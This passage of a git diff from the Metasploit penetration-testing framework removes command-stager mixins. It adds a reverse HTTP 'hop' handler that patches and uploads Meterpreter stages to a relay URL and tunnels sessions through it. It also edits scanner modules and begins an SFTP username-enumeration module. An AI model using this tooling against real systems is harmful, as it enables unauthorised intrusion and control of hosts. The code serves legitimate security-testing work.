|
||||
when 'Symbol'
|
||||
return target_flavor
|
||||
end
|
||||
end
|
||||
|
||||
# Second try to guess a compatible flavor based on the target platform.
|
||||
return nil unless target_platform.names.length == 1
|
||||
c_platform = target_platform.names.first
|
||||
case c_platform
|
||||
when /linux/i
|
||||
:bourne
|
||||
when /osx/i
|
||||
:bourne
|
||||
when /unix/i
|
||||
:bourne
|
||||
when /win/i
|
||||
:vbs
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Returns all the compatible stager flavors specified by the module and each
|
||||
# of it's targets.
|
||||
#
|
||||
# @return [Array] the list of all compatible cmd stager flavors.
|
||||
def module_flavors
|
||||
flavors = []
|
||||
flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor']
|
||||
targets.each do |target|
|
||||
flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor']
|
||||
end
|
||||
flavors.uniq!
|
||||
flavors.map { |flavor| flavor.to_s }
|
||||
end
|
||||
|
||||
# Returns the compatible stager flavors for the current target or module.
|
||||
#
|
||||
# @return [Array] the list of compatible cmd stager flavors.
|
||||
# @return [Symbol] the compatible cmd stager flavor.
|
||||
# @return [String] the compatible cmd stager flavor.
|
||||
# @return [nil] if there isn't any compatible flavor defined.
|
||||
def target_flavor
|
||||
return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor']
|
||||
return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor']
|
||||
nil
|
||||
end
|
||||
|
||||
# Answers if the input flavor is compatible with the current target or module.
|
||||
#
|
||||
# @param f [Symbol] The flavor to check
|
||||
# @returns [Boolean] true if compatible, false otherwise.
|
||||
def compatible_flavor?(f)
|
||||
return true if target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
when 'String'
|
||||
return true if target_flavor == f.to_s
|
||||
when 'Array'
|
||||
target_flavor.each { |tr| return true if tr.to_sym == f }
|
||||
when 'Symbol'
|
||||
return true if target_flavor == f
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# Code to execute before the cmd stager stub. This method is designed to be
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_begin(opts)
|
||||
end
|
||||
|
||||
# Code to execute after the cmd stager stub. This method is designed to be
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_end(opts)
|
||||
end
|
||||
|
||||
end
|
||||
# Code to execute each command from the. This method is designed to be
|
||||
# overriden by a module using this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_command(cmd, opts)
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,21 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerBourne
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerBourne.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,41 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerDebugAsm
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The debug.exe assembly listing decoder stub to use.',
|
||||
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerDebugAsm.new(exe)
|
||||
end
|
||||
|
||||
def execute_cmdstager(opts = {})
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,41 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerDebugWrite
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The debug.exe file-writing decoder stub to use.',
|
||||
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerDebugWrite.new(exe)
|
||||
end
|
||||
|
||||
def execute_cmdstager(opts = {})
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||
#
|
||||
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||
# The "-e" flag is usually available on linux environments. This stager
|
||||
# has been found useful on restricted linux based embedded devices, and
|
||||
# should work on either:
|
||||
# * Systems with busy box's echo binary somewhere in $PATH.
|
||||
# * Systems with bash/zsh whose echo builtin supports -en flags.
|
||||
# * Systems with GNU coreutils echo which supports -en flags.
|
||||
#
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerEcho
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,27 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
|
||||
#
|
||||
# This stager uses a POSIX-conformant printf, that supports the interpretation
|
||||
# of octal escapes, to drop an ELF with the payload embedded to disk.
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerPrintf
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerPrintf instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerPrintf.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,67 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'msf/core/exploit/tftp'
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerTFTP
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::TFTPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'TFTPHOST', [ false, 'The address of the machine hosting the file via TFTP.' ]),
|
||||
OptString.new( 'TFTPRSRC', [ false, 'The filename of the TFTP-hosted resource.' ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerTFTP.new(exe)
|
||||
end
|
||||
|
||||
def execute_cmdstager(opts = {})
|
||||
tftphost = datastore['TFTPHOST']
|
||||
tftphost ||= datastore['SRVHOST']
|
||||
tftphost ||= datastore['LHOST']
|
||||
|
||||
@exe_tag = datastore['TFTPRSRC']
|
||||
@exe_tag ||= Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
opts.merge!({ :tftphost => tftphost, :transid => @exe_tag })
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Start the service and register the file
|
||||
#
|
||||
def execute_cmdstager_begin(opts)
|
||||
start_service(@exe_tag, @exe)
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the service
|
||||
#
|
||||
def execute_cmdstager_end(opts)
|
||||
stop_service
|
||||
end
|
||||
|
||||
def payload_exe
|
||||
return nil if not @stager_instance
|
||||
@stager_instance.payload_exe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,41 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerVBS
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||||
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerVBS.new(exe)
|
||||
end
|
||||
|
||||
def execute_cmdstager(opts = {})
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,41 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerVBS::ADODB
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||||
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_adodb")]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerVBS.new(exe)
|
||||
end
|
||||
|
||||
def execute_cmdstager(opts = {})
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -19,14 +19,6 @@ require 'msf/core/exploit/php_exe'
|
|||
|
||||
# CmdStagers
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
require 'msf/core/exploit/cmdstager_vbs'
|
||||
require 'msf/core/exploit/cmdstager_vbs_adodb'
|
||||
require 'msf/core/exploit/cmdstager_debug_write'
|
||||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
require 'msf/core/exploit/cmdstager_printf'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -0,0 +1,305 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP hop tunneling interface.
|
||||
# It acts like an HTTP server to the meterpreter packet dispatcher but
|
||||
# as an HTTP client to actually send and receive the data from the hop.
|
||||
#
|
||||
###
|
||||
module ReverseHopHttp
|
||||
|
||||
include Msf::Handler::ReverseHttp
|
||||
|
||||
#
|
||||
# Magic bytes to know we are talking to a valid hop
|
||||
#
|
||||
MAGIC = 'TzGq'
|
||||
|
||||
# hop_handlers is a class-level instance variable
|
||||
class << self; attr_accessor :hop_handlers end
|
||||
attr_accessor :monitor_thread # :nodoc:
|
||||
attr_accessor :handlers # :nodoc:
|
||||
attr_accessor :closed_handlers # :nodoc:
|
||||
attr_accessor :mclient # :nodoc:
|
||||
attr_accessor :current_url # :nodoc:
|
||||
attr_accessor :control # :nodoc:
|
||||
attr_accessor :refs # :nodoc:
|
||||
attr_accessor :lock # :nodoc:
|
||||
|
||||
#
|
||||
# Keeps track of what hops have active handlers
|
||||
#
|
||||
@hop_handlers = {}
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_hop_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Sets up a handler. Doesn't do much since it's all in start_handler.
|
||||
#
|
||||
def setup_handler
|
||||
self.handlers = {}
|
||||
self.closed_handlers = {}
|
||||
self.lock = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the handler along with a monitoring thread to handle data transfer
|
||||
#
|
||||
def start_handler
|
||||
# Our HTTP client and URL for talking to the hop
|
||||
uri = URI(full_uri)
|
||||
self.control = "#{uri.request_uri}control"
|
||||
self.mclient = Rex::Proto::Http::Client.new(
|
||||
uri.host,
|
||||
uri.port,
|
||||
{
|
||||
'Msf' => framework
|
||||
}
|
||||
)
|
||||
@running = true # So we know we can stop it
|
||||
# If someone is already monitoring this hop, bump the refcount instead of starting a new thread
|
||||
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
|
||||
ReverseHopHttp.hop_handlers[full_uri].refs += 1
|
||||
return
|
||||
end
|
||||
|
||||
# Sometimes you just have to do everything yourself.
|
||||
# Declare ownership of this hop and spawn a thread to monitor it.
|
||||
self.refs = 1
|
||||
ReverseHopHttp.hop_handlers[full_uri] = self
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
|
||||
self) do |uri, hop_http|
|
||||
hop_http.send_new_stage # send stage to hop
|
||||
delay = 1 # poll delay
|
||||
# Continue to loop as long as at least one handler or one session is depending on us
|
||||
until hop_http.refs < 1 && hop_http.handlers.empty?
|
||||
sleep delay
|
||||
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
|
||||
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
|
||||
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
|
||||
next if res.nil?
|
||||
if res.error
|
||||
print_error(res.error)
|
||||
next
|
||||
end
|
||||
|
||||
# validate responses, handle each message down
|
||||
received = res.body
|
||||
until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
|
||||
|
||||
# good response
|
||||
delay = 0 # we're talking, speed up
|
||||
urlen = received.slice!(0,4).unpack('V')[0]
|
||||
urlpath = received.slice!(0,urlen)
|
||||
datalen = received.slice!(0,4).unpack('V')[0]
|
||||
|
||||
# do not want handlers to change while we dispatch this
|
||||
hop_http.lock.lock
|
||||
#received now starts with the binary contents of the message
|
||||
if hop_http.handlers.include? urlpath
|
||||
pack = Rex::Proto::Http::Packet.new
|
||||
pack.body = received.slice!(0,datalen)
|
||||
hop_http.current_url = urlpath
|
||||
hop_http.handlers[urlpath].call(hop_http, pack)
|
||||
hop_http.lock.unlock
|
||||
elsif !closed_handlers.include? urlpath
|
||||
hop_http.lock.unlock
|
||||
#New session!
|
||||
conn_id = urlpath.gsub("/","")
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
# We are the dispatcher since we need to handle the comms to the hop
|
||||
create_session(hop_http, {
|
||||
:passive_dispatcher => self,
|
||||
:conn_id => conn_id,
|
||||
:url => uri.to_s + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => false,
|
||||
})
|
||||
# send new stage to hop so next inbound session will get a unique ID.
|
||||
hop_http.send_new_stage
|
||||
else
|
||||
hop_http.lock.unlock
|
||||
end
|
||||
end
|
||||
end
|
||||
hop_http.monitor_thread = nil #make sure we're out
|
||||
ReverseHopHttp.hop_handlers.delete(full_uri)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the handler and monitoring thread
|
||||
#
|
||||
def stop_handler
|
||||
# stop_handler is called like 3 times, don't decrement refcount unless we're still running
|
||||
if @running
|
||||
ReverseHopHttp.hop_handlers[full_uri].refs -= 1
|
||||
@running = false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Adds a resource. (handler for a session)
|
||||
#
|
||||
def add_resource(res, opts={})
|
||||
self.handlers[res] = opts['Proc']
|
||||
start_handler if monitor_thread.nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a resource.
|
||||
#
|
||||
def remove_resource(res)
|
||||
lock.lock
|
||||
handlers.delete(res)
|
||||
closed_handlers[res] = true
|
||||
lock.unlock
|
||||
end
|
||||
|
||||
#
|
||||
# Implemented for compatibility reasons, does nothing
|
||||
#
|
||||
def close_client(cli)
|
||||
end
|
||||
|
||||
#
|
||||
# Sends data to hop
|
||||
#
|
||||
def send_response(resp)
|
||||
if not resp.body.empty?
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => resp.body,
|
||||
'headers' => {'X-urlfrag' => current_url}
|
||||
)
|
||||
# if receiving POST data, hop does not send back data, so we can stop here
|
||||
mclient.send_recv(crequest)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return the URI of the hop point.
|
||||
#
|
||||
def full_uri
|
||||
uri = datastore['HOPURL']
|
||||
return uri if uri.end_with?('/')
|
||||
return "#{uri}/" if uri.end_with?('?')
|
||||
"#{uri}?/"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representation of the local hop
|
||||
#
|
||||
def localinfo
|
||||
"Hop client"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the URL of the remote hop end
|
||||
#
|
||||
def peerinfo
|
||||
uri = URI(full_uri)
|
||||
"#{uri.host}:#{uri.port}"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the Hop HTTP tunneling handler.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ])
|
||||
], Msf::Handler::ReverseHopHttp)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Generates and sends a stage up to the hop point to be ready for the next client
|
||||
#
|
||||
def send_new_stage
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload
|
||||
|
||||
# Replace the user agent string with our option
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
#send up
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => blob,
|
||||
'headers' => {'X-init' => 'true'}
|
||||
)
|
||||
res = mclient.send_recv(crequest)
|
||||
print_status("Uploaded stage to hop #{full_uri}")
|
||||
print_error(res.error) if !res.nil? && res.error
|
||||
|
||||
#return conn info
|
||||
[conn_id, url]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -172,6 +172,19 @@ class CmdStagerBase
|
|||
nil
|
||||
end
|
||||
|
||||
# Should be overriden if the cmd stager needs to setup anything
|
||||
# before it's executed
|
||||
def setup(mod = nil)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Should be overriden if the cmd stager needs to do any clenaup
|
||||
#
|
||||
def teardown(mod = nil)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -27,10 +27,19 @@ class CmdStagerTFTP < CmdStagerBase
|
|||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
|
||||
end
|
||||
|
||||
def setup(mod)
|
||||
tftp = Rex::Proto::TFTP::Server.new
|
||||
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
tftp.start
|
||||
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
|
||||
end
|
||||
|
||||
def teardown(mod = nil)
|
||||
tftp.stop
|
||||
end
|
||||
|
||||
#
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
|
@ -54,8 +63,9 @@ class CmdStagerTFTP < CmdStagerBase
|
|||
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
|
||||
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
|
||||
# the start command being issued separately so that it can ignore it :)
|
||||
|
||||
attr_reader :exe
|
||||
attr_reader :payload_exe
|
||||
attr_accessor :tftp
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -148,7 +148,7 @@ TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
|||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
|
||||
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
version = res.headers['X-Jenkins']
|
||||
vprint_status("#{peer} - Jenkins Version - #{version}")
|
||||
print_status("#{peer} - Jenkins Version - #{version}")
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
when 403
|
||||
vprint_status("#{peer} - #{uri_path} restricted (403)")
|
||||
print_status("#{peer} - #{uri_path} restricted (403)")
|
||||
when 401
|
||||
vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
||||
print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
||||
when 404
|
||||
vprint_status("#{peer} - #{uri_path} not found (404)")
|
||||
print_status("#{peer} - #{uri_path} not found (404)")
|
||||
when 301
|
||||
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
||||
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
||||
when 302
|
||||
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
||||
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
||||
else
|
||||
vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
|
||||
print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner',
|
||||
'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner',
|
||||
'Description' => %q|
|
||||
This module identifies IPMI 2.0 compatible systems that are vulnerable
|
||||
to an authentication bypass vulnerability through the use of cipher
|
||||
|
|
|
@ -41,15 +41,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
data = sock.get_once
|
||||
|
||||
if ( data and data =~ /\\*.TNSLSNR for (.*)/ )
|
||||
if ( data && data =~ /\\*.TNSLSNR for (.*)/ )
|
||||
ora_version = data.match(/\\*.TNSLSNR for (.*)/)[1]
|
||||
report_service(
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:name => "oracle",
|
||||
:info => ora_version
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:name => "oracle",
|
||||
:info => ora_version
|
||||
)
|
||||
print_good("#{ip}:#{datastore['RPORT']} Oracle - Version: " + ora_version)
|
||||
elsif ( data && data =~ /\(ERR=(\d+)\)/ )
|
||||
case $1.to_i
|
||||
when 1189
|
||||
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1} - The listener could not authenticate the user")
|
||||
else
|
||||
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1}")
|
||||
end
|
||||
else
|
||||
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,213 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
|
||||
'Description' => %q{
|
||||
This module uses a dictionary to brute force valid usernames from
|
||||
Cerberus FTP server via SFTP. This issue affects all versions of
|
||||
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
|
||||
in the way the SSH service handles failed logins for valid and invalid
|
||||
users. This issue was discovered by Steve Embling.
|
||||
},
|
||||
'Author' => [
|
||||
'Steve Embling', # Discovery
|
||||
'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
|
||||
[ 'BID', '67707']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'May 27 2014'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22),
|
||||
OptPath.new(
|
||||
'USER_FILE',
|
||||
[true, 'Files containing usernames, one per line', nil])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new(
|
||||
'RETRY_NUM',
|
||||
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
|
||||
OptInt.new(
|
||||
'SSH_TIMEOUT',
|
||||
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
|
||||
OptBool.new(
|
||||
'SSH_DEBUG',
|
||||
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def retry_num
